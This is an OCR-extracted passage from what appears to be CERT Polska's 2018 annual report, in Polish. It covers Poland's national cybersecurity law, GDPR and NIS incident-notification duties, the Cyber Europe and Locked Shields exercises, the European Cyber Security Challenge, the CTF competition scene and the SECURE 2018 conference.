tyw w warstwie legislacyjno-politycznej mozna
znalez¢ na stronie https://cyberpolicy.nask.pl/
oraz raporcie “Cyberbezpieczenstwo A.D 20187,
stanowigcego podsumowanie ubiegtego roku
w tym zakresie.

Ustawa o krajowym systemie
cyberbezpieczenstwa

Ustawa o krajowym systemie cyberbezpieczen-
stwa to pierwszy akt prawny porzadkujgcy ob-
szar cyberbezpieczenstwa Polsce. Jest to imple-
mentacja do porzadku krajowego tzw. Dyrektywy
NIS. Poniewaz Dyrektywa NIS jest harmoniza-
cja minimalng, polski ustawodawca skorzystat
z mozliwosci bardziej szczegdtowej regula-
cji. Dlatego w zakres ustawy zostata wigczona
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administracja publiczna. Ustawa o krajowym

systemie cyberbezpieczenstwa obowigzuje od

28 sierpnia 2018 roku.

Najwazniejsze kwestie regulowane przez usta-

we to:

1. Wprowadzenie obowigzkowego rapor-
towania incydentéw przez operatoréw
ustug kluczowych, dostawcéw ustug
cyfrowych i podmiotéw publicznych (wie-
cej informacji na ten temat: str. 14)

2. Wyznaczenie trzech CSIRT poziomu kra-
jowego z jasno ustalonym zakresem od-
powiedzialnosci.

3. Ustanowienie mechanizmu wspétpra-
cy trzech CSIRT poziomu krajowego
w przypadku tzw. incydentéw krytycz-
nych. Ustawa wprowadza formute Zespo-
tu ds. Incydentéw Krytycznych, bedgcego
organem pomocniczym w sprawach obstu-
gi incydentéw krytycznych. W jego skiad
wchodzg CSIRT poziomu krajowego oraz
Rzgdowe Centrum Bezpieczenstwa jako
sekretariat — taka formuta zapewnia wspot-
prace z Rzgdowym Zespotem Zarzadzania
Kryzysowego (RZZK). Dodatkowo do udzia-
tu w pracach Zespotu mogg by¢ zaprosze-
ni przedstawiciele organéw wiasciwych.
Powotanie Zespotu ds. Incydentow Krytycz-



nych stuzy wyznaczeniu CSIRT, ktory bedzie
wiodgcym w obstudze incydentu krytyczne-
go oraz podziatowi zadan zwigzanych z tg
obstugag. Na posiedzeniu moze tez zostac
podjeta decyzja o wystgpieniu z wnioskiem
do Prezesa Rady Ministréw w sprawie zwo-
tania Rzgdowego Zespotu Zarzgdzania Kry-
zysowego. Jest to zatem ujecie problematyki
cyberbezpieczenstwa w systemie zarzgdza-
nia kryzysowego w Polsce.

4. Ustanowienie nadzoru nad operatora-
mi ustug kluczowych w poszczegdinych
sektorach gospodarki, ktérzy odpowiadajg
za wyznaczanie operatoréw (na podstawie
decyzji administracyjnej), przygotowywa-
nie rekomendacji dziatan, ktére wzmocnig
cyberbezpieczenstwo sektora, nadzér nad
operatorami w danym sektorze, udziat
w éwiczeniach oraz przetwarzanie danych
osobowych niezbednych do realizacji zadah.

5. Wprowadzenie formuly sektorowego ze-
spolu cyberbezpieczenstwa, powotywa-
nego przez organy wilasciwe, ktory przyj-

muje zgtoszenia o incydentach i pomaga
w ich obstudze, ale réwniez analizuje skut-
ki, wypracowuje wnioski oraz wspotpracuje
z wtasciwym CSIRT poziomu krajowego.
Moze tez wymienia¢ informacje o incyden-
tach powaznych z innymi krajami Unii Euro-
pejskiej.

6. Wprowadzenie obowiazku przygotowy-

wania piecioletniej Strategii Cyberbez-
pieczenstwa RP, ktora okresla cele strate-
giczne oraz odpowiednie Srodki polityczne
i regulacyjne, pozwalajgce osigagng¢ i utrzy-
macé wysoki poziom cyberbezpieczenstwa.
Strategia uwzglednia réwniez priorytety,
podmioty zaangazowane w jej wdrazanie
oraz dziatania odnoszgce sie do programéw
edukacyjnych, informacyjnych, a takze pla-
néw badawczo-rozwojowych.

7. Wprowadzenie koordynacji strategiczno

-politycznej nad systemem cyberbezpie-
czenstwa w Polsce poprzez ustanowienie
Petnomocnika i Kolegium ds. Cyberbezpie-
czenhstwa.

Organ wtasciwy ds. cyberbezpieczenstwa Sektor/podsektor

Minister wtasciwy ds. energii

Energia

Minister wtasciwy ds. transportu

Transport

Minister wtasciwy ds. gospodarki morskiej
i minister wtasciwy ds. zeglugi srédlgdowej

Transport wodny

Komisja Nadzoru Finansowego

Bankowy, infrastruktura rynkéw finansowych

Minister wtasciwy ds. zdrowia

Ochrona zdrowia

Minister wtasciwy ds. gospodarki wodnej

Zaopatrzenie w wode pitng i jej dystrybucja

Minister wtasciwy ds. informatyzac;ji

Infrastruktura cyfrowa
Dostawcy ustug cyfrowych

Minister Obrony Narodowej (podmioty podlegte
MON oraz przedsiebiorcy o szczegdlnym
znaczeniu gospodarczo-obronnym)

Ochrona zdrowia
Infrastruktura cyfrowa

Dostawcy ustug cyfrowych

Tabela 4. Przyporzagdkowanie organéw wtasciwych do sektoréw gospodarki wg ustawy

o krajowym systemie cyberbezpieczeristwa.
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Rozporzadzenie o Ochronie Danych Osobowych

RODO/GDPR zostato przyjete 27 kwietnia 2016 .
i zastgpi Dyrektywe 95/46/WE z 24 pazdzierni-
ka 1995 r. w sprawie ochrony oséb fizycznych
w zakresie przetwarzania danych osobowych
i swobodnego przeptywu tych danych. Zgodnie
z prawem UE, Rozporzgdzenie ma zasieg ogol-
ny. Oznacza to, ze wigze w catosci i jest bez-
posrednio stosowane we wszystkich panstwach
cztonkowskich. Co za tym idzie: implementacja
do porzadku prawnego nie jest niezbedna, a od
28 maja 2018 r. RODO obowigzuje w catej UE.

GDPR reguluje nie tylko przetwarzanie danych
osobowych wewnatrz Unii Europejskiej, ale od-
nosi sie réwniez do przekazywania danych oso-
bowych poza terytorium UE. Dodatkowo regula-
cjg zostali objeci takze administratorzy danych
spoza Unii, prowadzgcy swojg dziatalno$¢ na te-
rytorium UE (m.in. amerykanskie firmy takie jak
Facebook). GDPR w znaczgcy sposéb zwieksza
kontrole oséb fizycznych nad dotyczgcymi ich
danymi.

GDPR wprowadza takze administracyjne kary
finansowe za nieprzestrzeganie przepisow.

GDPR a zespoly CERT/CSIRT

Zgodnie z trescig rozporzadzenia mianem ad-
ministratora okresla sie wiasciwy organ, ktéry
samodzielnie lub wspdlnie z innymi ustala cele
i sposoby przetwarzania danych osobowych, na-
tomiast podmiot przetwarzajgcy oznacza osobe
fizyczng lub prawng, organ publiczny, jednostke
organizacyjng lub inny podmiot, ktéry przetwa-
rza dane osobowe w imieniu administratora.

Zatem zespét CSIRT/CERT jest administratorem
w momencie, gdy przetwarza dane na podstawie
otrzymanego mandatu. W przypadku, gdy zespot
CSIRT/CERT dziata w imieniu organow $cigania
lub innych zesp6t CSIRT/CERT (np. poprzez za-
pewnienie pomocy technicznej), petni takze role
podmiotu przetwarzajgcego, poniewaz nie decy-
duje bezposrednio o celach i sposobach prze-
twarzania danych osobowych.

Udostepnianie i wymiane informacji pomiedzy
zespotami CSIRT réwniez mozna uznaé za prze-
twarzanie danych osobowych. Oznacza to, ze
w zakresie zgtaszania incydentow zespoty typu
CSIRT podlegajg dwdm rezimom: temu wprowa-
dzonemu przez Dyrektywe NIS i temu wiasciwe-
mu RODO. Ponizsze tabele prezentujg wyma-
gania w zakresie notyfikacji incydentow dla obu
aktow prawnych.

RODO

Rodzaj incydentu

Podmiot notyfikujacy Odbiorca zgtoszenia

Termin

Podmiot
przetwarzajgcy

Naruszenie danych
osobowych

Administrator Bez zbednej zwioki

Naruszenie danych

Administrator
osobowych

Bez zbednej zwioki,
w miare mozliwosci
do 72 godzin od
momentu otrzymania
zgtoszenia

Wiasciwy organ
ochrony danych

Naruszenie danych
osobowych z duzym
ryzykiem zagrozenia
dla praw i wolnosci
0s06b fizycznych

Administrator

Osoby, ktérych dane

dotyczg Bez zbednej zwtoki

Tabela 5. Wymagania w zakresie notyfikacji incydentéow w $wietle RODO.
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Dyrektywa NIS

Rodzaj incydentu

Podmiot notyfikujacy Odbiorca zgtoszenia

Incydent majgcy
znaczny wptyw na
ciggtos¢ ustug
kluczowych

Operatorzy ustug
kluczowych

Wiasciwy organ
ochrony danych
lub zespdt CSIRT

Bez zbednej zwioki

Incydent majacy
znaczny wpltyw na
Swiadczenie ustugi

Dostawcy ustug
cyfrowych

Wiasciwy organ
ochrony danych
lub zespdt CSIRT

Bez zbednej zwtoki

Tabela 6. Wymagania w zakresie notyfikacji incydentéw w $wietle Dyrektywy NIS.

W zwigzku z tym warto zadbac¢ o wtasciwe przy-
gotowanie nie tylko w zakresie implementacji
Dyrektyw NIS, ale i RODO, oraz dokona¢ do-
ktadnej oceny zakresu w jakim zespét CSIRT
moze dokonywaé przetwarzania danych osobo-
wych w obrebie wtasnego zakresu odpowiedzial-
nosci, a takze czy jest procesorem (przetwarza
dane osobowe) czy administratorem. Konieczne
jest takze dokumentowanie sposobu zbierania,
przechowywania i przetwarzania danych oso-

bowych, doktadnej analizy okresu i zasad prze-
chowywania danych roboczych, anonimizacji
danych osobowych, gdzie istnieje koniecznos¢
uzyskania zgody osoby, ktérej te dane dotycza.
Natomiast w czasie procesu przekazywania da-
nych konieczna bedzie ocena nie tylko zakresu
odpowiedzialnosci swojego zespotu CSIRT, ale
takze CSIRT, ktéremu dane te majg by¢ przeka-
zywane.

Cwiczenia i konkursy miedzynarodowe

CERT Polska regularnie uczestniczy w mie-
dzynarodowych ¢éwiczeniach sprawdzajgcych
zarébwno umiejetnosci technicznej analizy za-
grozen, jak i testujgcych procedury reagowania
na incydenty w kontekscie miedzynarodowym.
Najwazniejszymi z nich sg coroczne ¢wiczenia
defensywne Locked Shields oraz organizowane
raz na dwa lata Cyber Europe. W 2018 r. po raz
pierwszy przygotowywaliSmy takze polskg re-
prezentacje, ktéra brata udziat w europejskich
zawodach European Cyber Security Challenge.

Cyber Europe 2018

Cykl ¢wiczen ,Cyber Europe” to symulacja sytu-
acji kryzysowych w skali europejskiej. Organiza-
torem jest Europejska Agencja ds. Bezpieczen-
stwa Sieci i Informacji (ENISA). Cyber Europe
majg formute CEwiczen sztabowych, w ktérych
uczestnicy testujg procedury operacyjne i sce-
nariusze przygotowane na wypadek wystgpienia
duzych incydentow.

Celem ¢éwiczen ,Cyber Europe” jest testowanie
procedur zarzgdzania kryzysowego w obliczu
miedzynarodowego kryzysu w cyberprzestrzeni
(w sieciach i systemach komputerowych) — za-
rowno tych wewnetrznych (w poszczegdinych
organizacjach na poziomie panstw cztonkow-
skich i w poszczegdlnych sektorach), jak row-
niez procedur na poziomie europejskim (tzw.
SOP — Standard Operating Procedures).

W dziedzinie cyberbezpieczehstwa jest to
szczegdlnie istotne, poniewaz kryzysy w cy-
berprzestrzeni majg potencjat przerodzenia sie
w realne zagrozenia fizyczne (np. brak pradu,
problemy z fgcznoscia). W takiej sytuacji ko-
nieczna jest sprawna wspotpraca zespotow re-
agowania na incydenty bezpieczenstwa kom-
puterowego (CERT Ilub CSIRT) z zespotami
i centrami zarzgdzania kryzysowego oraz zespo-
tami medialnymi, a takze z administracja publicz-
ng i sektorem prywatnym (kazda edycja dotyczy
innego sektora gospodarki).
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Pierwsza edycja éwiczen “Cyber Europe” odbyta
sie w 2010 r. Dwa lata pdzniej ¢wiczenia doty-
czyly sektora bankowego, w 2014 r. — sektora
energetycznego i telekomunikacyjnego. Nato-
miast w 2016 roku w ¢éwiczeniu wzieli udziat
dostawcy Internetu i firmy z sektora bezpieczen-
stwa IT. Obecna, pigta edycja z czerwca 2018 r.,
dotyczyta sektora lotnictwa cywilnego.

Procedury wypracowane przez panstwa czion-
kowskie i ENISA w poprzednich edycjach staty
sie podstawg (tzw. blueprint) zalecen Komisji
Europejskiej w sprawie skoordynowanego re-
agowania na incydenty i kryzysy na duzg skale.
Zalecenia zawierajg ramowe procedury i organi-
zacje wspoétpracy europejskiej na poziomie stra-
tegicznym, a takze operacyjnym.

Skale c¢wiczenia najlepiej zobrazowac liczba-
mi. W obecnej edycji uczestniczyto 30 panstw
z Unii Europejskiej i Europejskiego Stowarzy-
szenia Wolnego Handlu oraz 10 instytucji unij-
nych, zajmujgcych sie cyberbezpieczenstwem
i dziatajgcych w sektorze lotnictwa cywilnego.
tacznie ¢éwiczyto 300 organizacji i 900 zespo-
téw lub specjalistow z dziedziny bezpieczenstwa
w cyberprzestrzeni, zarzgdzania kryzysowego
i komunikacji spotecznej. Uczestnicy w ciggu
dwdch dni otrzymali ponad 23 tysigce wiadomo-
Sci cwiczebnych.

Przedstawicielami Polski byli: NASK — Pan-
stwowy Instytut Badawczy 2z dziatajgcym
w nim zespotem CERT Polska, administracja
publiczna reprezentowana przez Rzadowe Cen-
trum Bezpieczenstwa, Ministerstwa: Cyfryza-
cji i Infrastruktury, Urzad Lotnictwa Cywilnego,
a takze kontrola ruchu lotniczego, podmioty
z sektora lotnictwa cywilnego, dostawca sieci
telekomunikacyjnej oraz stowarzyszenie Polska
Obywatelska Cyberobrona. Lgcznie 18 zespotéw
z 10 organizacji.

Podczas dwudniowego ¢wiczenia polscy uczest-
nicy, wymienili miedzy sobg ponad 500 wiado-
mosci mailowych. Oprécz tego komunikowali sie
telefonicznie, a w sprawach technicznych (m.in.
rozwigzywanie incydentéw bezpieczenstwa
komputerowego) za posrednictwem formularza
i komunikatora internetowego przygotowanego
przez CERT Polska. Ta liczba nie obejmuje tak-
ze komunikacji wewnetrznej w obrebie uczestni-
czgcych w zawodach organizaciji.

NASK

Reakcjg na symulowane wydarzenia byty réw-
niez sporzadzane przez uczestnikow kroétkie
analizy dla kierownictwa organizacji oraz roz-
mowy telefoniczne z przedstawicielami éwiczeb-
nych redakcji mediéw informacyjnych.

Kontrola i koordynacja éwiczenia wymagata ok.
150 wiadomosci elektronicznych, dziesigtek
rozmow telefonicznych i biezgcej komunikaciji
pomiedzy moderatorami i administratorami na
czacie internetowym. Koordynacja i kontrola to
przede wszystkim czuwanie nad przebiegiem
¢wiczenia, dziataniem platformy éwiczebnej —
funkcjonowaniem wirtualnego swiata i rozwigzy-
wanie kwestii technicznych. Moderatorzy pefnili
takze role uzupetniajgca dla scenariusza, ale in-
terweniowali tylko w przypadkach szczegélnych,
m.in. wtedy, gdy do reakcji na zdarzenie ze sce-
nariusza potrzebne byly dziatania lub decyzje
podmiotu, ktéry nie brat udziatu w éwiczeniu.

Konstrukcja scenariusza zawierata incydenty
bezpieczeristwa w sieciach i systemach kom-
puterowych, ataki hybrydowe (zagrozenie bez-
pieczenstwa fizycznego, akcje medialne i dezin-
formacje), ktére materializowaty sie poprzez
zdarzenia w podmiotach sektora lotnictwa cy-
wilnego i zarzgdzania kryzysowego. Scenariusz
zawierat takze potencjalne zagrozenia dla innych
sektoréw gospodarki, ktére mogty rozprzestrze-
ni¢ sie za posrednictwem sieci, wraz z eskalacjg
incydentu. Jednym z celéw ¢wiczenia byto spraw-
dzenie czy istniejgce mechanizmy wspotpracy
na poziomie europejskim w wystarczajgcym za-
kresie adresujg potrzeby panstw cztonkowskich.
Testowane byty plany zarzgdzania kryzysowego
i zapewnienia ciggtosci dziatania na wszystkich
poziomach: organizacji, sektora, kraju oraz eu-
ropejskiego obszaru gospodarczego.

Na poziomie medialnym, scenariusz miat spraw-
dzi¢ gotowo$C¢ sektora lotniczego w zakresie
obrony przed dezinformacjg i skoordynowania
komunikatu medialnego, informujgcego spote-
czenstwo o zaistniatym kryzysie.

Istotnym elementem ¢wiczenia byly zdarzenia
techniczne, wymagajgce od wyspecjalizowanych
zespotdw reagowania na incydenty bezpieczen-
stwa komputerowego przeprowadzania m.in.
analiz powtamaniowych, analiz prébek zto$liwe-
go oprogramowania, powstrzymywania atakow
z wykorzystaniem internetu rzeczy”, zautoma-
tyzowanej analizy informaciji z otwartych zrodet.



Zdarzenia techniczne skfadaty sie na incydenty,
a usuwanie skutkéw tych zdarzen decydowato
o skutecznej odpowiedzi na kryzys.

Whioski i rekomendacje z C¢wiczenia zostaty
opracowane na przetomie pazdziernika i listo-
pada 2018 roku. Uzgodniona na poziomie euro-
pejskim tres¢ raportu zostata przekazana koor-
dynatorom krajowym i uczestnikom éwiczenia.
Publicznie dostepna czesc¢ raportu z organizac;ji
i przebiegu ¢wiczenia, jest dostepna na stronie
ENISA®. Na stronie dostepne sg takze raporty
z poprzednich edycji Cyber Europe. Nalezy
przy tym zaznaczy¢, ze wiekszo$¢ obserwacii
i wnioskéw nie jest publikowana. Stanowig one
informacje prawnie chroniong — informacje nie-
jawne administracji publicznej oraz tajemni-
ce handlowe przedsiebiorstw biorgcych udziat
w ¢éwiczeniu. Cwiczenia byly doskonatg okazjg
do przetrenowania dziatania punktéw kontakto-
wych do spraw cyberbezpieczenstwa i ich wspot-
dziatania z centrami zarzgdzania kryzysowego.
W zakresie procedur na poziomie krajowym, prze-
testowane zostato wspotdziatanie NASK i RCB
winicjowaniu Zespotuds. incydentéw krytycznych
i jego relacji do Rzgdowego Zespotu Zarzg-
dzania Kryzysowego. Dziatanie to byto jednym
z celéw krajowych éwiczen i pozwolito na spraw-
dzenie jednego z zaktadanych wariantow reago-
wania na incydenty i ich eskalowania z poziomu
organizacji na poziom krajowy. Do$wiadczenia
zostaly wykorzystane przy tworzeniu kolejnej
aktualizacji planéw zarzgdzania kryzysowego.
Sektorowo, w zakresie proceduralnym i tech-
nicznym, sprawdzone zostato wspotdziatanie
podmiotéw cyberbezpieczenstwa i bezpieczen-
stwa lotnictwa cywilnego w odpieraniu ztozone-
go zagrozenia — przebiegajgcego w cyberprze-
strzeni, ale majgcego realny, fizyczny skutek
dla podmiotow lotnictwa cywilnego. Zauwazono
braki i mankamenty, szczegdlnie w komunikaciji
i biezacej wymianie informacji. Wigksza ich
czes¢ wynikata z faktu, ze wykorzystywano
procedury ¢wiczebne powstate na podstawie
projektu ustawy, bez wykorzystania rozwigzan
wynikajacych z przepisow wykonawczych. Braki
dotyczyty gtéwnie strony technicznej i organiza-
cyjnej kanatéw komunikacyjnych, wykorzystywa-
nych do tej pory rzadko lub w ogdle (sie¢ CSIRT,
Pojedynczy Punkt Kontaktowy, zespét ds. incy-
dentéw krytycznych). Dzieki wnioskom z ¢wicze-
nia, stwierdzone niedociggniecia usuwane sg na
biezgco przy budowie krajowego systemu cyber-
bezpieczenstwa.

Locked Shields 2018

Locked Shields to najwieksze na $wiecie tech-
niczne éwiczenia cyberbezpieczenstwa. Organi-
zowane sg corocznie juz od 2010 r. przez NATO
CCDCOE - sojusznicze Centrum Doskonatosci ds.
Wspdtpracy w dziedzinie Cyberbezpieczehstwa
z siedzibg w Estonii. Zespoty “niebieskich” bedace
reprezentacjami krajéw-czionkéw CCDCOE pod-
czas cwiczenia petnig role zespotéw szybkiego
reagowania fikcyjnego kraju “Berylia”. Do ochro-
ny przed zespotem “czerwonych” byly nie tylko
standardowe systemy i ustugi teleinformatyczne,
ale takze wyspecjalizowane systemy wojskowe
oraz systemy informatyki przemystowej (SCADA).
Do zadan “niebieskich” oprécz dziatan defensyw-
nych - zabezpieczania sieci, wykrywania i zapo-
biegania atakéw pod presjg czasu nalezato takze
raportowanie zagrozen w ramach wspétpracy mie-
dzynarodowej. Réwnolegle do czeéci technicznej
odbywa sie czes¢ strategiczna, w ktorej sprawdza
sie zdolnosci podejmowania decyzji strategiczno
-politycznych, mozliwosci analiz prawnych oraz
komunikacji zewnetrzne;j.

O niezwykle duzej skali wydarzenia $wiadczy to,
ze infrastruktura, ktorej bronit kazdy z zespotéw
“niebieskich”, stworzona byta z ponad 150 syste-
mow informatycznych, a ilo$¢ przeprowadzonych
na nie atakéw przekroczyta w sumie 2500. W role
“niebieskich” wcielito sie 15 zespotdéw narodowych,
5 zespotow tgczonych oraz 2 zespoty reprezentu-
jace CERT Unii Europejskiej oraz NATO. W sumie
w éwiczeniach uczestniczyto ponad 1000 eksper-
tow z 30 krajow. Wygrat zespdt NATO skiadajacy
sie z 30 ekspertow réznych instytucji tej organiza-
cji, drugie miejsce zajat zespét narodowy Francji,
a trzecie z Czech.

Rysunek 3. Sterowniki przemysfowe bedgce czescig systemu
zarzgdzania energig elektrycznag.

5 https://www.enisa.europa.eu/publications/cyber-europe-2018-after-action-report

6 https://ccdcoe.org/exercises/locked-shields/
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Nowosciami technicznymi w 2018 r. byto wia-
czenie do ochranianej przez zespoty “niebie-
skich” infrastruktury informatycznych systemow
zarzgdzania siecig energetyczng oraz syste-
mow skfadajgcych sie na w pemni funkcjonalng
sie¢ komorkowg 4G. Natomiast statym elemen-
tem Cwiczen sg systemy przemystowe (w 2018
w postaci infrastruktury krytycznej systemu
uzdatniania wody) czy systemy sterujgce woj-
skowymi dronami obserwacyjnymi.

Polski zespét, pod przewodnictwem Narodowe-
go Centrum Kryptologii, sktadat sie z ekspertow
zarowno wojskowych, jak i cywilnych instytuciji,
ktérzy na co dzien zajmujg sie ochrong kluczo-
wej dla Polski infrastruktury. Cwiczenia Locked
Shields sg okazjg do zbudowania efektywnej
formy wspétpracy na okolicznosé ewentualnego
zagrozenia.

European Cyber Security Challenge

Decyzja o zainicjowaniu przez Komisje Euro-
pejskg miedzynarodowych zawoddéw bezpie-
czenstwa teleinformatycznego zostata podjeta
juz w 2013 r.” Rok pozniej, w nowym konkur-
sie wziely udziat trzy kraje - Austria, Niemcy
i Szwajcaria. Cztery lata pdzniej, w finatach
w 2018 r.8, pod auspicjami Europejskiej Agenciji
ds. Bezpieczenstwa Sieci i Informacji (ENISA)
rywalizowaly ze sobg reprezentacje wiekszo-
Sci krajow Unii Europejskiej. W tej edycji po raz
pierwszy udziat wzieta takze Polska.

Celem zawoddw jest zwrdcenie uwagi na brak
wystarczajgcej liczby specjalistow bezpieczen-
stwa teleinformatycznego oraz pokazanie mto-
dziezy legalnej formy nauki i rywalizacji. Przy
okazji finatbw odbywajg sie zazwyczaj otwarte
targi pracy. ldeg konkursu jest réwniez stwo-
rzenie mozliwosci nawigzania kontaktéw oraz
podniesienie swiadomosci zagrozeh cyberbez-
pieczenstwa.

Kazda z narodowych reprezentacji biorgcych
udziat w European Cyber Security Challenge
musi sktada¢ sie z 10 cztionkéw - 5 juniorow
w wieku od 14 do 20 lat i 5 senioréw w wieku od
21 do 25 lat. Kazdy kraj wytania reprezentacje we
wiasnym zakresie. Opieke nad polska reprezen-
tacjg sprawowat NASK. Zostata ona wytoniona
w krajowych kwalifikacjach przeprowadzonych
w ramach dwdch internetowych konkurséw CTF.
W czerwcu 2018 r. na platformie hack.cert.pl
prawie 100 uczestnikbw zmagato sie¢ z ponad
20 zadaniami w kazdej z kategorii wiekowych.
Zadania z kwalifikacji sg caty czas dostepne na
platformie - zachecamy do sprébowania swoich
sit.

Polska reprezentacja skladata sie zaréwno ze
studentéw pierwszych lat studiéw informatycz-
nych jak i z mtodych, ale juz uznanych ekspertow
Swiatowych firm technologicznych. Reprezen-
tanci mieli okazje poznac¢ sie lepiej na spotkaniu
w siedzibie NASK.

Kazdego roku, rozgrywki finatowe organizo-
wane sg przez jeden z krajéw uczestniczacych
w zawodach. W 2018 r. odbyty sie w pazdzier-
niku w Londynie. Po dwdch dniach zmagan,
Polska zajeta ostatecznie 4. miejsce z niewielkg
stratg tuz za Wielkg Brytanig, wyprzedzajgc 13
innych zespotéw. Zawody wygrata reprezenta-
cja Niemiec, a drugie miejsce zajeta Francja. Po
zawodach, gratulacje polskiej ekipie przekazat
osobiscie polski ambasador Arkady Rzegocki.

W 2019 r. finaty odbeda sie w Rumunii.

Rysunek 4. Polska reprezentacja na finatach ECSC
w Londynie.

7 https://www.enisa.europa.eu/about-enisa/structure-organization/national-liaison-office/meetings/april-2017/2017-04-26-ecsc-brief.pdf
8 https://www.enisa.europa.eu/events/european-cyber-security-challenge-ecsc-2018
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Scena CTF

Konkursy Capture The Flag (“Zdoby¢ flage”) to
druzynowe zawody bezpieczenstwa teleinforma-
tycznego. Organizowane sg niezaleznie przez
uczelnie, rzgdy panstw, organizacje i przede
wszystkim same druzyny. Nieustannie zyskujg
na popularnosci, poniewaz dajg mozliwosé¢ po-
znania istotnych zagadnieh bezpieczenstwa IT w
legalny sposéb, jak réwniez sg formg zdrowego
wspotzawodnictwa. W 2018 roku, wedtug strony
“ctftime.org™ agregujacej rankingi zawoddw oraz
druzyn, odbylo sie blisko 150 konkurséw.

Zawody CTF mozna skategoryzowaé wedtug
formy i miejsca rozgrywki. Najpopularniejsza for-
muta to “jeopardy”, w ktérej druzyny rozwigzujg
od kilkunastu do kilkudziesieciu zadah o roz-

nej trudnosci w kilku kategoriach: bezpieczen-
stwo aplikacji internetowych, inzynieria wstecz-
na, kryptografia, wykorzystywanie podatnosci
w aplikacjach czy informatyka $Sledcza. Rozwig-
zaniem w kazdym zadaniu jest “flaga”, ktérg na
platformie konkursowej druzyny wymieniajg na
punkty. Natomiast w formule “attack/defense”
kazda z druzyn otrzymuje dostep do kopii ser-
wera, na ktérym uruchomione sg przygotowane
przez organizatorow zadania w postaci ustug
sieciowych. Zespoty muszg znalez¢ btedy w apli-
kacjach, naprawic¢ je oraz regularnie wykradaé
flagi pozostatym druzynom. Zawody dzielg sie
rébwniez na te organizowane w internecie (naj-
czesciej w formie “jeopardy”) oraz na miejscu,
a takze w formule mieszanej - internetowe kwali-
fikacje i lokalne finaty.

Sezon 2018 okazat sie bardzo udany dla polskich druzyn™. Dragon Sector wygrat rozgrywki, a ze-
spot p4 uznat wyzszosé tylko zespotu PPP z amerykanskiego uniwersytetu Carnegie Mellon. Cato-
roczny ranking druzynowy liczony jest na podstawie 10 najlepszych wystepow druzyny, cho¢ wiek-
szo0s¢ z nich bierze udziat w kilkudziesieciu wydarzeniach w ciggu roku. W obu polskich topowych
zespotach grajg obecni i byli pracownicy CERT Polska. Na pozycjach 36 i 40 uplasowaty sie kolejno
studenckie zespoty Made in MIM z Uniwersytetu Warszawskiego oraz Just Cat The Fish wywodzgcy

sie z Akademii Gérniczo-Hutnicze;j.

Rysunek 5. Podium rankingu za 2018 r. (zrédfo: ctftime.org).

Wraz ze wzrostem popularnosci konkursow, rosng takze pule nagrod. W 2018 r. najbardziej prestizowe
konkursy mogty pochwali¢ sie wysokimi sumami nagrod, w tym szwajcarski Insomni’hack (4 kilogramy
sztab srebra), tajwanski HITCON CTF (8 tys. USD), Google CTF w Londynie (15 tys.), rosyjski CTFZo-
ne (17 tys.) czy chinskie OCTF (40 tys.), WCTF (100 tys.) oraz Real World CTF (150 tys.).

Rysunek 6. Finaty Insomni’hack
w Genewie. (zrodfo: SCRT.ch.).

9 https://ctftime.org
10 https://ctftime.org/stats/2018
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W 2018 r. rowniez w Polsce odbywaly sie za-
wody i konkursy w formule CTF. Jednym z naj-
wazniejszych, wysoko klasyfikowany w rankingu
“ctftime.org”, byt Dragon CTF (z pulg nagrod
17 tys. ziotych) zorganizowany przez Dragon
Sector przy okazji konferencji PWNing 2018
w Warszawie wraz z jego internetowg zapowie-
dzig - “teaserem”. W jego finatach zwyciezyt"
paneuropejski zespét tasteless, drugie miejsce
zajeto p4, trzecie wegierski zespdt SpamAn-
dHex, a tuz za podium uplasowato sie Just Cat
The Fish. Wojsko Polskie z kolei zorganizowa-
to konkurs podczas hackathonu Hack Yeah pod

SECURE 2018

W dniach 23-24 pazdziernika 2018 r. odbyta sie
22. edycja konferencji SECURE organizowanej
przez CERT Polska, NASK Panstwowy Instytut
Badawczy oraz NASK S.A. Wzieto w niej udziat
ponad 600 gosci z kraju i zagranicy. W progra-
mie znalazty sie wystgpienia 50 prelegentéw,
ktorzy prezentowali zréznicowane tematy.

Cze$¢ merytoryczng konferencji rozpoczeta
dr Aleksandra Przegalinska (Akademia Leona
Kozmirniskiego, MIT) z wprowadzeniem do te-
matyki kierunkéw rozwoju sztucznej inteligencji
i zagrozen zwigzanych z jej wykorzystaniem.
Problematyka sztucznej inteligencji, a takze te-
maty jej pokrewne, takie jak uczenie maszynowe
czy systemy autonomiczne, przewijata sie takze
w dalszych prezentacjach. Filip Konopczynski
i Urszula Rybicka z NASK PIB przedstawili wy-
niki badan dotyczgcych zastosowania Al w prze-
mysle, z kolei Kamil Frankowicz (CERT Polska)
méwit o wykorzystaniu uczenia maszynowego
w analizie ztosliwego oprogramowania. Dwie
prezentacje dotyczyly zagrozen zwigzanych
z systemami inteligentnymi instalowanymi
w samochodach — pierwszg z nich wygtosit Inbar
Raz, drugg Stefan Tanase wspdlnie Gabrielem
Cirligiem (Ixia).

koniec listopada. Dwuosobowe druzyny walczyty
az o 60 tysiecy ztotych oraz dodatkowe, prak-
tyczne nagrody.

CERT Polska w 2018 r. zorganizowat dwa wyda-
rzenia CTF-owe - krajowe kwalifikacje do repre-
zentacji Polski na finaty European Cyber Securi-
ty Challenge w czerwcu oraz konkurs w ramach
Europejskiego Miesigca Bezpieczenstwa w paz-
dzierniku. Oba opisujemy szerzej w artykutach
na stronach: 24 oraz 27. Opublikowali$§my réw-
niez artykut o technicznych aspektach organiza-
cji zawodow CTF™2,

Z duzym zainteresowaniem spotkat sie blok
poswiecony mechanizmom manipulacji infor-
macjami, w tym rozprzestrzeniania fatszywych
informacji, a w szczegdlno$ci zywiotowa prezen-
tacja ,Informacyjne supermutanty” dr. hab. Mar-
cina Napiérkowskiego (Uniwersytet Warszawski,
Mitologia wspodtczesna).

Nie zabrakio takze wystgpien poswieconych
technicznym badaniom i projektom CERT Polska
oraz NASK PIB (,Jak zorganizowa¢ CTF i prze-
trwac, czyli organizacja konkurséw dla hake-
réw z perspektywy admina” Michata Leszczyn-
skiego, ,Obserwacje zloSliwych aktywno$ci
w teleskopie sieciowym - od wykrywania ata-
kow DoS do fingerprintowania botnetéw” Piotra
Bazydto czy ,Monitorowanie w skali kraju i nie
tylko” Pawta Pawlinskiego).

Podczas konferencji odbyla sie debata po-
Swiecona wptywowi nowych regulacji wpro-
wadzonych ustawg o krajowym systemie cy-
berbezpieczenstwa na biznes, administracje
i obywateli. Wprowadzeniem do debaty byta pre-
zentacja Krzysztofa Silickiego, Dyrektora NASK
ds. Cyberbezpieczenstwa i Innowacji.

Prezentacje z SECURE 2018 dostepne sg pod
adresem https://goo.gl/h6hmWE

" https://twitter.com/DragonSectorCTF/status/1065036293015592960

